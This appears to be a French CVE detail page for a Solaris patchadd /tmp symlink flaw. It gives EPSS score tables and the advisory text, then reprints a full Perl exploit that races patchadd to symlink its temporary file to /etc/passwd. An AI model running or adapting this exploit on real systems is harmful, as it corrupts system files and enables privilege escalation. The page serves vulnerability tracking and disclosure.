CVE-2001-0059 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	1.76%	–	–
2022-03-27	–	–	1.76%	–	–
2022-04-03	–	–	1.76%	–	–
2022-04-17	–	–	1.76%	–	–
2022-08-28	–	–	1.76%	–	–
2023-03-05	–	–	1.76%	–	–
2023-03-12	–	–	–	0.04%	–
2024-06-02	–	–	–	0.04%	–
2025-01-19	–	–	–	0.04%	–
2025-03-18	–	–	–	–	0.15%
2025-03-30	–	–	–	–	0.15%
2025-04-15	–	–	–	–	0.15%
2025-04-15	–	–	–	–	0.15,%

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Date	Percentile
2022-02-06	54%
2022-03-27	55%
2022-04-03	74%
2022-04-17	75%
2022-08-28	76%
2023-03-05	77%
2023-03-12	–
2024-06-02	–
2025-01-19	–
2025-03-18	34%
2025-03-30	33%
2025-04-15	37%
2025-04-15	37%

source: https://www.securityfocus.com/bid/2127/info patchadd is the patch management tool included with the Solaris Operating Environment, distributed by Sun Microsystems. A problem exists which could allow a user to corrupt or append system files. The problem exists in the creation of /tmp files by patchadd. patchadd creates a variety of files in /tmp while installing the patches on the operating system. The files created in /tmp are mode 0666, and are created with the extension sh<pid of patchadd>.1, sh<pid of patchadd>.2, and so on. Running the program requires administrative access. It is possible to brute force guess the pid of patchadd, and create files in the /tmp directory that are symbolic links to sensitive system files. It is therefore possible for a user with malicious intent to gain elevated privileges, corrupt system files, or execute arbitrary commands. #!/usr/local/bin/perl #Exploit for patchadd Solaris 2.x. Symlink /tmp file creation #vulnerability #patchadd creates files in /tmp with mode 644 that can be used to clobber #system files when executed by root. #Larry W. Cashdollar #http://vapid.dhs.org:8080 #See BID https://www.securityfocus.com/bid/2127 #Discovery credit: Jonathan Fortin jfortin@revelex.com #Tested on SunOS smackdown 5.8 Generic_108528-10 sun4u sparc SUNW,Ultra-5_10 use strict; my $NOISY = 1; # Do you want quiet output? my $clobber = "/etc/passwd"; print "Listening for patchadd process...\n" if ($NOISY); while(1) { open (ps,"ps -ef | grep -v grep |grep -v PID |"); while(<ps>) { my @args = (split " ", $_); if (/patch/) { print "Targeting PID $args[1] and symlinking response.$args[1] to $clobber\n" if ($NOISY); symlink($clobber,"/tmp/response.$args[1]"); exit(1); } } }